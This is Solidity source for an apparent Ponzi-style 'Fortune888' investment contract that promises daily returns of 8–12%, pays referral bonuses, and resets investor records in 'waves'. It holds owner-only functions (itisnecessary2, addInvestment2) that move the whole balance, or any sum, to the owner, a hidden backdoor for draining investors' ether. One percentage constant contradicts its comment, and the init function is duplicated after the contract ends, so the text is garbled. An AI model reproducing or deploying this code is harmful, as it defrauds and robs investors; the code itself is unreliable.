contract Fortune888 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;

// easy read for investors
using Address for *;
using Zero for *;

RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;

// automatically generates getters
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;

// percents
Percent.percent private m_1_percent = Percent.percent(111,10000);            // 111/10000 *100% = 1.11%
Percent.percent private m_5_percent = Percent.percent(555,10000);            // 555/10000 *100% = 5.55%
Percent.percent private m_7_percent = Percent.percent(777,10000);            // 777/10000 *100% = 7.77%
Percent.percent private m_8_percent = Percent.percent(888,10000);            // 888/10000 *100% = 8.88%
Percent.percent private m_9_percent = Percent.percent(999,100);              // 999/10000 *100% = 9.99%
Percent.percent private m_10_percent = Percent.percent(10,100);            // 10/100 *100% = 10%
Percent.percent private m_11_percent = Percent.percent(11,100);            // 11/100 *100% = 11%
Percent.percent private m_12_percent = Percent.percent(12,100);            // 12/100 *100% = 12%
Percent.percent private m_referal_percent = Percent.percent(888,10000);        // 888/10000 *100% = 8.88%
Percent.percent private m_referrer_percent = Percent.percent(888,10000);       // 888/10000 *100% = 8.88%
Percent.percent private m_referrer_percentMax = Percent.percent(10,100);       // 10/100 *100% = 10%
Percent.percent private m_adminsPercent = Percent.percent(5,100);          //  5/100 *100% = 5.0%
Percent.percent private m_advertisingPercent = Percent.percent(10,100);    //  10/100 *100% = 10.0%

// more events for easy read from blockchain
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);


modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}

modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}

constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}

function() public payable {
// investor get him dividends
if (msg.value.isZero()) {
getMyDividends();
return;
}

// sender do invest
doInvest(msg.data.toAddress());
}

function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}

function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}

// init Rapid Growth Protection

function init(address rev1StorageAddr, uint timestamp) public onlyOwner {

m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);


// init Private Entrance
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}

function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}

function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}

function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}

function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}

function investorsNumber() public view returns(uint) {
return m_investors.size();
}

function balanceETH() public view returns(uint) {
return address(this).balance;
}



function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}

function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}

function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}



function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}

function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}

function getMyDividends() public notFromContract balanceChanged {
// calculate dividends

//check if 1 day passed after last payment
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);

uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");

// update investor payment timestamp
assert(m_investors.setPaymentTime(msg.sender, now));

// check enough eth - goto next wave if needed
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}


    
// transfer dividends to investor
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}

    
function itisnecessary2() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }    
    

function addInvestment2( uint investment) public onlyOwner  {

msg.sender.transfer(investment);

} 

function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");

if (m_rgp.isActive()) {
// use Rapid Growth Protection if needed
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());

} else if (m_privEnter.isActive()) {
// use Private Entrance if needed
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}

// send excess of ether if needed
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}

// commission
advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther));
adminsAddress.transfer(m_adminsPercent.mul(receivedEther));

bool senderIsInvestor = m_investors.isInvestor(msg.sender);

// ref system works only once and only on first invest
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {

m_referrals[msg.sender] = true;
// add referral bonus to investor`s and referral`s investments
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}

uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus)); // add referrer bonus
investment += referalBonus;                                    // add referral bonus
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}

// automatic reinvest - prevent burning dividends
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}

if (senderIsInvestor) {
// update existing investor
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
// create new investor
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}

investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}

function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}

function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);

// safe gas if dividends will be 0
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}

// for prevent burning daily dividends if 24h did not pass - calculate it per 10 min interval
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}

function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;

if (balance < 500 ether) {
p = m_8_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_9_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 5000 ether) {
p = m_10_percent.toMemory();
} else if ( 5000 ether <= balance && balance <= 10000 ether) {
p = m_11_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_12_percent.toMemory();
}
}



function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {

m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);


// init Private Entrance
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}

// init Rapid Growth Protection